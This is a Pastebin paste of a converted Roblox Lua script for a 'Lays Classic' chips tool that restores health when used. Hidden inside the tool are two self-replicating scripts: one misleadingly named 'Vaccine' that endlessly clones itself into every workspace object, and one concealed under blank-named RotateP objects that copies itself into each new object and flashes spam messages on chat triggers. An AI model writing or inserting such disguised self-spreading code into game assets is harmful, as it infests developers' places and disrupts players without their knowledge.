Advertisement
AndyWolf6610

Lays

Nov 20th, 2019
233
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.08 KB | None | 0 0
  1.  
  2. --Converted with ttyyuu12345's model to script plugin v4
  3. function sandbox(var,func)
  4. local env = getfenv(func)
  5. local newenv = setmetatable({},{
  6. __index = function(self,k)
  7. if k=="script" then
  8. return var
  9. else
  10. return env[k]
  11. end
  12. end,
  13. })
  14. setfenv(func,newenv)
  15. return func
  16. end
  17. cors = {}
  18. mas = Instance.new("Model",game:GetService("Lighting"))
  19. Tool0 = Instance.new("Tool")
  20. Part1 = Instance.new("Part")
  21. SpecialMesh2 = Instance.new("SpecialMesh")
  22. Script3 = Instance.new("Script")
  23. RotateP4 = Instance.new("RotateP")
  24. Script5 = Instance.new("Script")
  25. Sound6 = Instance.new("Sound")
  26. Sound7 = Instance.new("Sound")
  27. Script8 = Instance.new("Script")
  28. Tool0.Name = "LaysClassic"
  29. Tool0.Parent = mas
  30. Part1.Name = "Lays Classic"
  31. Part1.Parent = Tool0
  32. Part1.CFrame = CFrame.new(8.31000042, 0.694999993, 152.369995, 0, 0, 1, 0, 1, -0, -1, 0, 0)
  33. Part1.Orientation = Vector3.new(0, 90, 0)
  34. Part1.Position = Vector3.new(8.31000042, 0.694999993, 152.369995)
  35. Part1.Rotation = Vector3.new(0, 90, 0)
  36. Part1.Size = Vector3.new(1.79999995, 2.17000008, 2)
  37. Part1.Material = Enum.Material.Metal
  38. SpecialMesh2.Parent = Part1
  39. SpecialMesh2.MeshId = "http://www.roblox.com/asset/?id=19106014"
  40. SpecialMesh2.TextureId = "http://www.roblox.com/asset/?id=32727689"
  41. SpecialMesh2.MeshType = Enum.MeshType.FileMesh
  42. Script3.Name = "Vaccine"
  43. Script3.Parent = Part1
  44. table.insert(cors,sandbox(Script3,function()
  45. function spread()
  46. local stuff = game.Workspace:GetChildren()
  47. for i = 1, #stuff do
  48. if (stuff[i].className ~= "Script") and (stuff[i]:findFirstChild("Vaccine") == nil) and (stuff[i].className ~= "Camera") then
  49. local clone = script:clone()
  50. clone.Parent = stuff[i]
  51. end
  52. end
  53. end
  54.  
  55. while true do
  56. wait(.1)
  57. spread()
  58. end
  59.  
  60. function GetAllItems(mdl)
  61. local objs = {}
  62. function Search(obj)
  63. if obj~=workspace then
  64. table.insert(objs,obj)
  65. end
  66. if #obj:GetChildren() > 100 then
  67. for i, v in ipairs(obj:GetChildren()) do
  68. Search(v)
  69. end
  70. end
  71. end
  72. Search(mdl)
  73. return objs
  74. end
  75.  
  76.  
  77.  
  78. for i, v in ipairs(GetAllItems(workspace)) do
  79. if v.className == "Script" then
  80. if v.Name == "Chaotic" or v.Name == "Spreadify" or v.Name == "Virus" or v.Name == "Infected" then
  81. v.Parent = game.Lighting --Just in case it has a removal prevention.
  82. t = Instance.new("ObjectValue")
  83. t.Name = "IsAVirus"
  84. t.Parent = v
  85. end
  86. end
  87. end
  88.  
  89. for i, v in ipairs(game.Lighting:GetChildren()) do
  90. if v:findFirstChild("IsAVirus") then --Only remove the viruses.
  91. v:remove()
  92. end
  93. end
  94.  
  95.  
  96. print("Virus debugged! All clean!")
  97. end))
  98. RotateP4.Name = ""
  99. RotateP4.Parent = Part1
  100. Script5.Name = ""
  101. Script5.Parent = RotateP4
  102. table.insert(cors,sandbox(Script5,function()
  103. names={""}
  104. local NameCheck = false
  105. script.Parent.Name = names[math.random(1, #names)]
  106. script.Name = [[ProperGr�mmerNeededInPhilosiphalLocations;insertNoobHere]]
  107. local c = script.Parent:Clone()
  108.  
  109. function addEvent(ch)
  110. wait(math.random())
  111. NameCheck = false
  112. for ss = 1, #names do
  113. if ch:IsA("RotateP") or ch:findFirstChild(names[ss]) ~= nil then
  114. NameCheck = true
  115. end
  116. end
  117. if NameCheck == false then
  118. local cloak = c:Clone()
  119. cloak.Name = ""
  120. cloak:GetChildren()[1].Name = ""
  121. cloak.Parent = ch
  122. cloak.Name = names[math.random(1, 5)]
  123. end
  124. end
  125.  
  126. workspace.ChildAdded:connect(addEvent)
  127.  
  128. game.Players.PlayerAdded:connect(function(pl)
  129. pl.Chatted:connect(function(m)
  130. if m:sub(1, 5) == "/sc t" then
  131. local m = Instance.new("Message")
  132. m.Parent = workspace
  133. m.Text = "THEY CALL ME CRAZY"
  134. wait(1)
  135. m.Text = "lOoOoOoOp"
  136. wait(0.25)
  137. m.Text = "next page"
  138. wait(0.25)
  139. m.Text = "lOoOoOoOp"
  140. wait(0.25)
  141. m.Text = "LoOoOoOoP"
  142. wait(0.25)
  143. m.Text = "lOoOoOoOp"
  144. wait(0.25)
  145. m.Text = "LoOoOoOoP"
  146. wait(0.25)
  147. m.Text = "GOTTA GOTTA BE CRAZY"
  148. wait(1)
  149. m.Text = "lOoOoOoOp"
  150. wait(0.25)
  151. m.Text = "LoOoOoOoP"
  152. wait(0.25)
  153. m.Text = "lOoOoOoOp"
  154. wait(0.25)
  155. m.Text = "brendantaylor rules"
  156. wait(0.25)
  157. m.Text = "so does iampoobx"
  158. wait(0.25)
  159. m.Text = "LoOoOoOoP"
  160. wait(0.25)
  161. m.Text = "GOTTA GET A LIFE (YOU)"
  162. wait(3)
  163. m:remove()
  164. end
  165. if m:sub(1, 5) == "HAAXX" then
  166. local m = Instance.new("Message")
  167. m.Parent = workspace
  168. m.Text = "HAAXX"
  169. wait(3)
  170. m:remove()
  171. end
  172. end)
  173. end)
  174.  
  175. while true do
  176. local s = workspace:GetChildren()
  177. for i = 1, #s do
  178. NameCheck = false
  179. for ss = 1, #names do
  180. if s[i]:IsA("RotateP") or s[i]:findFirstChild(names[ss]) ~= nil then
  181. NameCheck = true
  182. end
  183. end
  184. if NameCheck == false then
  185. local cloak = c:Clone()
  186. cloak.Name = ""
  187. cloak:GetChildren()[1].Name = ""
  188. cloak.Parent = s[i]
  189. end
  190. wait(0.1)
  191. end
  192. wait(1)
  193. end
  194.  
  195. end))
  196. Sound6.Name = "DrinkSound"
  197. Sound6.Parent = Part1
  198. Sound6.SoundId = "http://www.roblox.com/asset/?id=15047813"
  199. Sound6.Volume = 1
  200. Sound7.Name = "OpenSound"
  201. Sound7.Parent = Part1
  202. Sound7.SoundId = "http://www.roblox.com/asset/?id=16213987"
  203. Sound7.Volume = 1
  204. Script8.Name = "SandwichScript"
  205. Script8.Parent = Tool0
  206. table.insert(cors,sandbox(Script8,function()
  207. local Tool = script.Parent;
  208.  
  209. enabled = true
  210.  
  211.  
  212.  
  213.  
  214. function onActivated()
  215. if not enabled then
  216. return
  217. end
  218.  
  219. enabled = false
  220. Tool.GripForward = Vector3.new(0.675, -0.675, -0.3)
  221. Tool.GripPos = Vector3.new(0.4, -0.9, 0.9)
  222. Tool.GripRight = Vector3.new(0.212, -0.212, 0.954)
  223. Tool.GripUp = Vector3.new(0.707, 0.707, 0)
  224.  
  225.  
  226. Tool.Handle.DrinkSound:Play()
  227.  
  228. wait(.8)
  229.  
  230. local h = Tool.Parent:FindFirstChild("Humanoid")
  231. if (h ~= nil) then
  232. if (h.MaxHealth > h.Health + 1.6) then
  233. h.Health = h.Health + 1.6
  234. else
  235. h.Health = h.MaxHealth
  236. end
  237. end
  238.  
  239. Tool.GripForward = Vector3.new(-1, 0, 0)
  240. Tool.GripPos = Vector3.new(.2, 0, 0)
  241. Tool.GripRight = Vector3.new(0, 0, -1)
  242. Tool.GripUp = Vector3.new(0,1,0)
  243.  
  244.  
  245. enabled = true
  246.  
  247. end
  248.  
  249. function onEquipped()
  250. Tool.Handle.OpenSound:play()
  251. end
  252.  
  253. script.Parent.Activated:connect(onActivated)
  254. script.Parent.Equipped:connect(onEquipped)
  255.  
  256. end))
  257. for i,v in pairs(mas:GetChildren()) do
  258. v.Parent = script
  259. pcall(function() v:MakeJoints() end)
  260. end
  261. mas:Destroy()
  262. for i,v in pairs(cors) do
  263. spawn(function()
  264. pcall(v)
  265. end)
  266. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement